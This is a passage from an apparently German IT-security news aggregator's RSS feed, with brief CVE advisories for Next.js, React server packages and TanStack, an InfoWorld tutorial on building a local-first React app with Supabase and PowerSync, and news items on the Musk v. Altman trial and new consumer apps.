<p>The post <a href="https://gbhackers.com/next-js-security-flaw-leaks-cloud-credentials/">Next.js Security Flaw Leaks Cloud Credentials, API Keys, and Admin Interfaces</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Next.js Security Flaw Leaks Cloud Credentials, API Keys, and Admin Interfaces]]></title>
<description><![CDATA[Next.js, one of the most widely used React frameworks, has been hit by a high-severity vulnerability that could allow attackers to extract sensitive cloud credentials, API keys, and even access internal admin interfaces. The flaw, tracked as CVE-2026-44578, exposes a…
Read more →
The post Next.js...]]></description>
<link>https://tsecurity.de/de/3518612/it-security-nachrichten/nextjs-security-flaw-leaks-cloud-credentials-api-keys-and-admin-interfaces/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518612/it-security-nachrichten/nextjs-security-flaw-leaks-cloud-credentials-api-keys-and-admin-interfaces/</guid>
<pubDate>Fri, 15 May 2026 08:37:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Next.js, one of the most widely used React frameworks, has been hit by a high-severity vulnerability that could allow attackers to extract sensitive cloud credentials, API keys, and even access internal admin interfaces. The flaw, tracked as CVE-2026-44578, exposes a…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/next-js-security-flaw-leaks-cloud-credentials-api-keys-and-admin-interfaces/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/next-js-security-flaw-leaks-cloud-credentials-api-keys-and-admin-interfaces/">Next.js Security Flaw Leaks Cloud Credentials, API Keys, and Admin Interfaces</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-44582 | vercel next.js up to 15.5.15/16.2.4 React Server _rsc weak hash (GHSA-vfv6-92ff-j949 / WID-SEC-2026-1401)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in vercel next.js up to 15.5.15/16.2.4. Affected by this issue is the function _rsc of the component React Server. Executing a manipulation can lead to use of weak hash.

The identification of this vulnerability is CVE-2026-44582. Th...]]></description>
<link>https://tsecurity.de/de/3517648/sicherheitsluecken/cve-2026-44582-vercel-nextjs-up-to-155151624-react-server-rsc-weak-hash-ghsa-vfv6-92ff-j949-wid-sec-2026-1401/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517648/sicherheitsluecken/cve-2026-44582-vercel-nextjs-up-to-155151624-react-server-rsc-weak-hash-ghsa-vfv6-92ff-j949-wid-sec-2026-1401/</guid>
<pubDate>Thu, 14 May 2026 20:53:57 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/vercel:next">vercel next.js up to 15.5.15/16.2.4</a>. Affected by this issue is the function <code>_rsc</code> of the component <em>React Server</em>. Executing a manipulation can lead to use of weak hash.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-44582">CVE-2026-44582</a>. The attack may be launched remotely. There is no exploit available.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hands-on with React, Supabase, and PowerSync]]></title>
<description><![CDATA[It’s not every day that a radically new architecture comes along, but here we are: in-browser SQLite, combined with reactive SQL and auto-syncing. The promise is instant interactivity on the front end, while maintaining data symmetry with the back end. As a direct challenger to the RESTful group-...]]></description>
<link>https://tsecurity.de/de/3517485/ai-nachrichten/hands-on-with-react-supabase-and-powersync/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517485/ai-nachrichten/hands-on-with-react-supabase-and-powersync/</guid>
<pubDate>Thu, 14 May 2026 19:18:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It’s not every day that a radically new architecture comes along, but here we are: <a href="https://sqlite.org/wasm/doc/trunk/index.md" data-type="link" data-id="https://sqlite.org/wasm/doc/trunk/index.md">in-browser SQLite</a>, combined with <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">reactive SQL</a> and auto-syncing. The promise is instant interactivity on the front end, while maintaining data symmetry with the back end. As a direct challenger to the <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html" data-type="link" data-id="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful group-think</a> that has dominated web development for a decade, it is well worth a look. </p>



<h2 class="wp-block-heading">Not really new, but improved</h2>



<p>This idea isn’t brand new. Developers have been doing this kind of thing in one fashion or another for years (think of how some apps work offline). But this new-generation stack feels different, and it’s starting to see broader appeal. </p>



<p>It’s called local-first data. I recently <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">covered the idea at a high level</a>. Now it’s time for a look at the nitty gritty.</p>



<p>The concept is simple. Instead of asking a remote server for permission to change a number, your app writes state directly to a local SQLite database running in the browser (via <a href="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html">WebAssembly</a>). A sophisticated background engine then handles the hard work of syncing those changes to the cloud and other devices.</p>



<p>For React developers, the best part is that we remain in the reactive paradigm. Even though we are writing raw <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html" data-type="link" data-id="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a> queries, the shuffling of the data is handled for us. Our UI components subscribe to the database, and when the data changes (whether locally from a user click or an inbound sync update from the cloud), the UI updates instantly.</p>



<p>When you use Spotify, you don’t download their entire multi-million song catalog. You just download your list and, even if you are offline, you listen to your music lag-free. This is the same kind of model we are building with local-first data, but with a lot of extra power. We can make changes to our local state, and those changes will be synced with the back end when a connection is available. And correspondingly, we will automatically receive important updates from the world.</p>



<h2 class="wp-block-heading">Three architectural components</h2>



<p>To pull this off we need three major architectural components:</p>



<ul class="wp-block-list">
<li>The client-side UI and database (React and SQLite Wasm )</li>



<li>A syncing engine (PowerSync)</li>



<li>A database of record (Supabase)</li>
</ul>



<p>Let’s start by setting up the cloud services we need: Supabase and PowerSync, both of which will be free-tier. For our client-side UI and database, we’ll make use of a React+SQLite demo app provided by Supabase. </p>



<h3 class="wp-block-heading">Supabase – the database of record</h3>



<p>Supabase is a managed Postgres service with a lot of niceties. Our example is going to be very simple, with only one row required. Go to <a href="http://supabase.com/">Supabase.com</a>, create a free account, and start a new project. Clicking on the project will bring you to its details:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-01.png?w=1024" alt="React-Supabase-PowerSync 01" class="wp-image-4168592" width="1024" height="406" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>Next we create a database schema to hold our data, which will be a simple one. On the left side menu, open the SQL Editor and run the following code.</p>



<pre class="wp-block-code"><code>-- 1. Create the table to store our counters
CREATE TABLE counters (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  created_at TIMESTAMPTZ DEFAULT NOW(),
  count INTEGER DEFAULT 0,
  owner_id UUID DEFAULT auth.uid()
);

-- 2. Turn on Row Level Security (RLS) 
ALTER TABLE counters ENABLE ROW LEVEL SECURITY;

-- 3. Access Policies 
CREATE POLICY "Users can all on own counters" 
ON counters FOR ALL 
USING (auth.uid() = owner_id);

-- 4. Publish the table
DROP PUBLICATION IF EXISTS powersync;
CREATE PUBLICATION powersync FOR TABLE counters;
</code></pre>



<p>Each step is annotated within the code above. The first step is standard SQL, creating a table with a few columns including a random UUID primary key. The second step turns on <a href="https://supabase.com/docs/guides/database/postgres/row-level-security">row level security</a>. The third step creates an access policy allowing users access to their own counter row (as determined by their logged in id: <code>auth.uid() = owner_id</code>). The fourth step creates a link between the Supabase instance and PowerSync.</p>



<p>Before we leave Supabase, click the “+ Connect” button at the top and grab the connection string, which looks something like this:</p>



<pre class="wp-block-code"><code>postgresql://postgres:[YOUR-PASSWORD]@db.fooizpddffaabqcydusj.supabase.co:5432/postgres</code></pre>



<h3 class="wp-block-heading">PowerSync – the syncing engine</h3>



<p>Now let’s jump into PowerSync. Go to <a href="https://powersync.com/" data-type="link" data-id="https://powersync.com/">PowerSync.com</a>, create a free account, and start a new project. Open the project details:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-02.png?w=1024" alt="React-Supabase-PowerSync 02" class="wp-image-4168596" width="1024" height="454" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>In the PowerSync dashboard, we need to create a bridge to Supabase. Follow these steps: </p>



<ol class="wp-block-list">
<li>Click “Create New Instance”.</li>



<li>Click the “Database Connections” item on the left, then click the + button.</li>



<li>Paste the connection string you copied from Supabase. Note: If your string has a <code>[YOUR-PASSWORD]</code> placeholder, replace it with the actual password you created for the instance.</li>



<li>Click “Test Connection”.</li>
</ol>



<p>PowerSync will now reach out to the Postgres instance we created before. If you ran the <code>CREATE PUBLICATION SQL</code> command correctly in the Supabase setup, this will succeed, and you’ll see a green “Connection Successful!” status message.</p>



<h4 class="wp-block-heading">Configure authentication</h4>



<p>We told PowerSync how to <em>read</em> our Supabase data (Postgres). Now we need tell it how to <em>trust</em> our users. Here are the steps: </p>



<ol class="wp-block-list">
<li>In the PowerSync dashboard, click the “Client Auth” tab</li>



<li>Look for the “JWKS URI” field.</li>



<li>Construct your JWKS URL. It is your Supabase Project URL + a specific suffix. 
<ul class="wp-block-list">
<li>Format: <code>https://[YOUR-PROJECT-ID].supabase.co/auth/v1/.well-known/jwks.json</code></li>



<li>Note: You can get your Project URL from Supabase &gt; Settings &gt; API.</li>
</ul>
</li>



<li>Paste your JWKS URL into the JWKS URI field and click “Save”.</li>



<li>Set the Audience to “authenticated”:
<ul class="wp-block-list">
<li>Click the (+) Add button under “Token Claims”.</li>



<li>Claim: Type <code>aud</code></li>



<li>Value: Type <code>authenticated</code></li>
</ul>
</li>
</ol>



<p>This configuration tells PowerSync, “Only trust tokens that are signed by Supabase AND are meant for the ‘authenticated’ user group.”</p>



<h4 class="wp-block-heading">Define the sync rules</h4>



<p>The sync rules are the essential architectural element to understand. This is where we tell Powersync what <em>part </em>of the data the user is privy to. This is sometimes called the “data shape” for the user. Each user has their own shape of the overall data, based on their unique profile.</p>



<p>We do not want to sync the <em>entire</em> database to the user’s laptop. That would be bad on many levels. Instead, we define a sync rule (or “bucket” in PowerSync), which is a filter that determines what data belongs to which user.</p>



<p>Navigate to “Sync Rules” on the left. You’ll get a YAML editor. Replace the default code with the following code.</p>



<pre class="wp-block-code"><code>YAML
config:
  edition: 2

bucket_definitions:
  user_counters:
    # 1. Identify the user from their Auth Token
    parameters: SELECT request.user_id() as user_id

    # 2. Only sync rows that belong to them
    data:
      - SELECT * FROM counters WHERE owner_id = bucket.user_id
</code></pre>



<p>This code defines the special view of the data for users:</p>



<ul class="wp-block-list">
<li><code>user_counters</code>: This is a “bucket”, a collection of data</li>



<li><code>request.user_id()</code>: PowerSync automatically extracts the user id from the Supabase auth token.</li>



<li>The data query: This SQL runs in the cloud, grabbing only the rows where the <code>owner_id</code> column matches the logged-in user and streams them down to the device.</li>
</ul>



<p>You can click “Validate” to check that this is working. Click “Deploy” to make it live.</p>



<h2 class="wp-block-heading">React and SQLite – the client-side UI and database</h2>



<p>We have done a lot of administrative work here, but it is giving us an entire reactive architecture based on SQL. Let’s push ahead with a client that can use it.</p>



<p>To get a quick look, let’s clone a demo app from Supabase. At the command line, run: </p>



<pre class="wp-block-code"><code>$ git clone https://github.com/powersync-community/vite-react-ts-powersync-supabase.git
$ cd vite-react-ts-powersync-supabase
$ npm install
</code></pre>



<p>Once the npm command finishes, we want to point the app at the infrastructure we just created. We can do that using the <code>.env.local</code> environmental variable file. Open <code>.env.local</code> and change the vars to point to your services. Here is the code:</p>



<pre class="wp-block-code"><code>VITE_SUPABASE_URL=https://fooizpddffaabqcydusj.supabase.co
VITE_SUPABASE_ANON_KEY=sb_publishable_gqUrYxDt04rg74fopz5rUg_ayDxpmgE
VITE_POWERSYNC_URL=https://foofcf18cc2560584a018a12.powersync.journeyapps.com
</code></pre>



<p>We are ready to test our React app:</p>



<pre class="wp-block-code"><code>$ npm run dev:ui
</code></pre>



<p>The demo app is a simple counter—a web page that presents an “Increment” button and shows the count. None too exciting, except for the data syncing magic behind the scenes. </p>



<p>Run the above command, and a browser window will open showing a “Create Counter” button. When you click it, the demo will give you a counter in a new window, along with a user ID and a panel that shows connection and sync status. You can create as many counters as you like, each in a separate browser window. </p>



<p>You can verify your counter is working by going to the Supabase dashboard, looking at the “Table” pane and seeing that a row has indeed been inserted for your user in the counter table. Another good check is to log in using another browser/device (or incognito tab). </p>



<p>Log in and create another counter in the second browser window, so that you have two different Supabase-synced session counters side by side: </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-03-1.png" alt="React-Supabase-PowerSync 03" class="wp-image-4169002" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>Whenever you create a new counter, a new row will be inserted into Supabase. The screenshot below shows a Supabase table with two rows, each with its own user ID and counter value. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-04.png" alt="React-Supabase-PowerSync 04" class="wp-image-4169007" width="1024" height="487" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<h3 class="wp-block-heading">The React code (App.tsx)</h3>



<p>We are moving quickly, but there are some interesting things to make note of in the src/App.tsx file. This code is the main React code for the app, and demonstrates the shift from “asking the server” to “interacting with local database state.” </p>



<p>There are two landmarks here that every React developer needs to see: the reactive read and the instant write. </p>



<h4 class="wp-block-heading">The reactive read (useQuery)</h4>



<p>In a standard React app, we would retrieve the data by using a <code>useEffect</code> to call <code>fetch('/api/counters')</code>. In our local-first React app, we use raw SQL:</p>



<pre class="wp-block-code"><code>const { data: counters, isLoading } = useQuery<counterrecord>(
  `SELECT * FROM ${COUNTER_TABLE} ORDER BY created_at ASC`,
  [],
  {
    rowComparator: {
      keyBy: (item) =&gt; item.id,
      compareBy: (item) =&gt; JSON.stringify(item)
    }
  }
);
</counterrecord></code></pre>



<p>This is the “reactive SQL” part of the architecture.</p>



<p>This <code>useQuery</code> hook subscribes to the local SQLite database. When the background worker receives an update from the cloud—or when you update a row locally—this hook fires instantly and re-renders the component. No manual state management or re-fetching logic is required, and there is no intermediate object of state. The back-end state and the front-end state are the same.</p>



<h4 class="wp-block-heading">The instant write (powerSync.execute)</h4>



<p>Notice what happens when we increment the counter. There is no <code>await api.post(...)</code> and no loading spinner state.</p>



<pre class="wp-block-code"><code>const updateCounter = async (counter: CounterRecord, newCount: number) =&gt; {
  // Writes to Local SQLite immediately
  await powerSync.execute(
    `UPDATE ${COUNTER_TABLE} SET count = ? WHERE owner_id = ?`,
    [newCount, counter.owner_id]
  );
};
</code></pre>



<p>This code is interesting on its own, because it’s like a reactive SQL statement. We write to the local file (Wasm). The write completes in milliseconds, and the UI updates immediately via the <code>useQuery</code> hook. The PowerSync syncing engine picks up the change asynchronously and pushes it to Supabase.</p>



<h2 class="wp-block-heading">The local-first vs. RESTful calculation</h2>



<p>So, is all of this configuration and newfangled code worth it?</p>



<p>If you are building a simple dashboard or a form-based application, the traditional JSON API (REST or GraphQL) approach is still king. In those models, the server is the single source of truth, and the client is just a dumb terminal. It is simple, stateless, and easy to debug. It’s also familiar.</p>



<p>But that simplicity comes with an unavoidable latency cost. Every interaction requires a round-trip ticket to the server. If the network hiccups, your app freezes. JSON APIs force you to manage loading states, error boundaries, and optimistic UI rollbacks manually.</p>



<p>Local-first flips the calculation. You pay a higher cost up front: you have to define a schema, manage a local database, and think about syncing rules. But in exchange, you get an application that feels like a native piece of software. Local-first creates data continuity, the ability to walk out of Wi-Fi range, keep working, and have your data follow you across devices when you reconnect.</p>



<p>Architecturally, we used three major components: the database, the syncing engine, and the client. This is actually similar to your conventional RESTful stack. In the local-first structure, the syncing engine takes the place of the JSON API server. In short, you have a similar amount of high-level complexity, but with different actors on the ground.</p>



<p>Local-first architecture is a fascinating development for JavaScript and the web in general. There is a huge inertial mass of JSON APIs to overcome, but here is a real countercurrent. Local-first may never rise to the level of adoption of RESTful architecture, but local-first data and reactive SQL constitute one of the most important trends to be watching closely right now.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Trial Wraps Up With 'Jackass' Trophy For Challenging Musk]]></title>
<description><![CDATA[After three weeks of testimony, the Musk v. Altman trial is nearing its end. OpenAI has rested its case, closing arguments are set for Thursday, and jury deliberations are expected to begin afterward. An anonymous reader quotes a report from Business Insider: Joshua Achiam, OpenAI's chief futuris...]]></description>
<link>https://tsecurity.de/de/3517232/it-security-nachrichten/openai-trial-wraps-up-with-jackass-trophy-for-challenging-musk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517232/it-security-nachrichten/openai-trial-wraps-up-with-jackass-trophy-for-challenging-musk/</guid>
<pubDate>Thu, 14 May 2026 17:39:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After three weeks of testimony, the Musk v. Altman trial is nearing its end. OpenAI has rested its case, closing arguments are set for Thursday, and jury deliberations are expected to begin afterward. An anonymous reader quotes a report from Business Insider: Joshua Achiam, OpenAI's chief futurist, was probably the most memorable witness of the day. He told jurors about a companywide meeting where Musk answered questions about his planned departure from OpenAI in 2018. Musk told the crowd of 50 or 60 people that he was leaving OpenAI to start his own competing AI. He said he wanted to "build it very fast, because he was very worried that someone else, if they got it, would do the wrong thing with it," Achiam said. Achaim said he challenged Musk on the safety of this approach, which he called "unsafe and reckless." "How did Musk respond," OpenAI's lawyer Randall Jackson asked. "Defensively," Achiam said. "We had a pretty tense exchange, and he snapped and called me a jackass."
 
In an effort to prove Achiam's story, OpenAI's lawyers brought a trophy to court that the futurist said he received after his heated exchange with Musk. On the witness stand, Achiam described the trophy as "a small golden jackass, inscribed with: 'never stop being a jackass for safety.'" He said his then-colleagues, Dario Amodei and David Luan, gave it to him as a thank-you for standing up to the Tesla CEO. Lead OpenAI attorney William Savitt told reporters after the day's session that Wednesday had been the first time he'd touched the statue. The futurist had to do without the visual aid, however. Judge Yvonne Gonzalez Rogers did not accept the trophy as evidence, so it did not appear before the jury.
 
Musk and Altman have presented dueling experts on a question at the core of the trial -- was the nonprofit that runs OpenAI hurt or helped by its $13 billion partnership with Microsoft? Musk's expert testified last week that the partnership was indeed hurt, supporting the Tesla CEO's contention that in partnering with Microsoft, OpenAI betrayed the company's nonprofit origins and mission. But on Thursday, OpenAI's expert, John Coates, used Musk's expert's own pie chart and testimony against him. The partnership has "generated value for the nonprofit that I believe he himself accepted was in the $200 billion range in his own testimony," Coates said, referencing Musk expert Daniel Schizer. "If that's not faring well, I don't know what faring well is."
 
In a scored point for Musk, the jury learned Thursday that Microsoft's own CTO once raised concerns about how OpenAI's early nonprofit donors, including LinkedIn cofounder Reid Hoffman, would react to a partnership. "I wonder if the big OpenAI donors are aware of these plans," Chief Technology Officer Kevin Scott said in a 2018 email he was asked to read aloud to jurors. In it, Scott said he doubted donors would appreciate OpenAI using their seed money to "go build a for-profit thing." Scott was being questioned by an OpenAI lawyer, who may have wanted jurors to quickly hear Scott's explanation: that he only had a "vague awareness" of what was happening at OpenAI at the time. Scott also told the jury he wasn't thinking about Musk when he made the remark. "Primarily, I was thinking about Reid Hoffman. He was the OpenAI donor I knew," Scott said, adding, "I wasn't thinking about anyone besides him."
Recap:

Sam Altman Testifies That Elon Musk Wanted Control of OpenAI (Day Ten)
Microsoft CEO Satya Nadella Testifies In OpenAI Trial (Day Nine)
Sam Altman Had a Bad Day In Court (Day Eight)
Sam Altman's Management Style Comes Under the Microscope At OpenAI Trial (Day Seven)
Brockman Rebuts Musk's Take On Startup's History, Recounts Secret Work For Tesla (Day Six) 
OpenAI President Discloses His Stake In the Company Is Worth $30 Billion (Day Five)
Musk Concludes Testimony At OpenAI Trial (Day Four)
Elon Musk Says OpenAI Betrayed Him, Clashes With Company's Attorney (Day Three) 
Musk Testifies OpenAI Was Created As Nonprofit To Counter Google (Day Two) 
Elon Musk and OpenAI CEO Sam Altman Head To Court (Day One)<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=OpenAI+Trial+Wraps+Up+With+'Jackass'+Trophy+For+Challenging+Musk%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F05%2F14%2F0420215%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F05%2F14%2F0420215%2Fopenai-trial-wraps-up-with-jackass-trophy-for-challenging-musk%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/05/14/0420215/openai-trial-wraps-up-with-jackass-trophy-for-challenging-musk?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-23870 | Meta react-server-dom-turbopack up to 19.0.5/19.1.6/19.2.5 HTTP deserialization (GHSA-rv78-f8rc-xrxh / WID-SEC-2026-1401)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in Meta react-server-dom-turbopack, react-server-dom-parcel and react-server-dom-webpack up to 19.0.5/19.1.6/19.2.5. This affects an unknown part of the component HTTP Handler. The manipulation leads to deserialization.

This vulnerability i...]]></description>
<link>https://tsecurity.de/de/3516579/sicherheitsluecken/cve-2026-23870-meta-react-server-dom-turbopack-up-to-190519161925-http-deserialization-ghsa-rv78-f8rc-xrxh-wid-sec-2026-1401/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3516579/sicherheitsluecken/cve-2026-23870-meta-react-server-dom-turbopack-up-to-190519161925-http-deserialization-ghsa-rv78-f8rc-xrxh-wid-sec-2026-1401/</guid>
<pubDate>Thu, 14 May 2026 13:40:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/meta:react-server-dom-turbopack">Meta react-server-dom-turbopack, react-server-dom-parcel and react-server-dom-webpack up to 19.0.5/19.1.6/19.2.5</a>. This affects an unknown part of the component <em>HTTP Handler</em>. The manipulation leads to deserialization.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-23870">CVE-2026-23870</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-44576 | vercel next.js up to 15.5.15/16.2.4 React Server interpretation conflict (WID-SEC-2026-1401)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in vercel next.js up to 15.5.15/16.2.4. This affects an unknown part of the component React Server. Performing a manipulation results in interpretation conflict.

This vulnerability is identified as CVE-2026-44576. The attack ca...]]></description>
<link>https://tsecurity.de/de/3516573/sicherheitsluecken/cve-2026-44576-vercel-nextjs-up-to-155151624-react-server-interpretation-conflict-wid-sec-2026-1401/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3516573/sicherheitsluecken/cve-2026-44576-vercel-nextjs-up-to-155151624-react-server-interpretation-conflict-wid-sec-2026-1401/</guid>
<pubDate>Thu, 14 May 2026 13:40:26 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/vercel:next">vercel next.js up to 15.5.15/16.2.4</a>. This affects an unknown part of the component <em>React Server</em>. Performing a manipulation results in interpretation conflict.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-44576">CVE-2026-44576</a>. The attack can be initiated remotely. There is not any exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta Releases Instants App For Quick And Casual Photo Sharing]]></title>
<description><![CDATA[Meta just released Instants, a fresh standalone app built purely for temporary photo sharing. Acting as a spin-off from the regular Instagram experience, it lets users snap and send unedited pictures that vanish right after viewing. The platform strips away heavy filters to focus on real life, gi...]]></description>
<link>https://tsecurity.de/de/3516168/ios-mac-os/meta-releases-instants-app-for-quick-and-casual-photo-sharing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3516168/ios-mac-os/meta-releases-instants-app-for-quick-and-casual-photo-sharing/</guid>
<pubDate>Thu, 14 May 2026 11:09:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Meta just released Instants, a fresh standalone app built purely for temporary photo sharing. Acting as a spin-off from the regular Instagram experience, it lets users snap and send unedited pictures that vanish right after viewing. The platform strips away heavy filters to focus on real life, giving people a simple way to share moments without building a permanent public profile.



The app focuses entirely on unedited and disappearing photos



Instants forces users to capture photos directly through the camera. It completely blocks uploads from a saved gallery. The design removes editing tools, allowing only a simple text overlay before sending.



If you want to try it, the download is currently live on the App Store. Anyone with a modern iPhone can grab it and start sending snaps. Once a recipient views the picture, the file deletes itself automatically, though senders can access a private archive of personal snaps for a year.



The platform integrates directly with your existing friend networks



You log into the platform using your current account credentials. The system automatically connects you with mutual followers and your established close friends list. When friends react or reply, those conversations route straight into your regular direct messages.



The standalone app provides a faster shortcut to the camera for quick sharing. It works smoothly across the Apple ecosystem. As long as your device runs a recent version of iOS, the notification delivery and message syncing happen in the background without any extra setup.



Meta included several new features to keep these private exchanges secure. Instants blocks screenshot attempts and screen recordings by default. The platform also gives senders an undo button to pull back an image before the other person opens it. It applies standard teen safety restrictions automatically.



According to Meta, it has started rolling out Instants to iOS and Android device users in select countries across the globe at the moment. However, the company will make it available globally later this month.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-45321 | tanstack arktype-adapter malicious code (ID 7383 / CNNVD-202605-2954)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in tanstack arktype-adapter, eslint-plugin-router, eslint-plugin-start, history, nitro-v2-vite-plugin, react-router, react-router-devtools, react-router-ssr-query, react-start, react-start-client, react-start-rsc, react-start-server, router-cl...]]></description>
<link>https://tsecurity.de/de/3514176/sicherheitsluecken/cve-2026-45321-tanstack-arktype-adapter-malicious-code-id-7383-cnnvd-202605-2954/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3514176/sicherheitsluecken/cve-2026-45321-tanstack-arktype-adapter-malicious-code-id-7383-cnnvd-202605-2954/</guid>
<pubDate>Wed, 13 May 2026 17:07:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/tanstack:arktype-adapter">tanstack arktype-adapter, eslint-plugin-router, eslint-plugin-start, history, nitro-v2-vite-plugin, react-router, react-router-devtools, react-router-ssr-query, react-start, react-start-client, react-start-rsc, react-start-server, router-cli, router-core, router-devtools, router-devtools-core, router-generator, router-plugin, router-ssr-query-core, router-utils, outer-vite-plugin, solid-router, solid-router-devtools, solid-router-ssr-query, solid-start, solid-start-client, solid-start-server, start-client-core, start-fn-stubs, start-plugin-core, start-server-core, start-static-server-functions, start-storage-context, valibot-adapter, virtual-file-routes, vue-router, vue-router-devtools, vue-router-ssr-query, vue-start, vue-start-client, vue-start-server and zod-adapter</a>. Affected by this vulnerability is an unknown functionality. The manipulation leads to embedded malicious code.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-45321">CVE-2026-45321</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[SwitchBot's New AI Pets Respond to Your Behavior, Won't Pee on the Carpet]]></title>
<description><![CDATA[Noa and Niko are AI pets that react to gestures and voice commands while remembering everything they see.]]></description>
<link>https://tsecurity.de/de/3512183/it-nachrichten/switchbots-new-ai-pets-respond-to-your-behavior-wont-pee-on-the-carpet/</link>
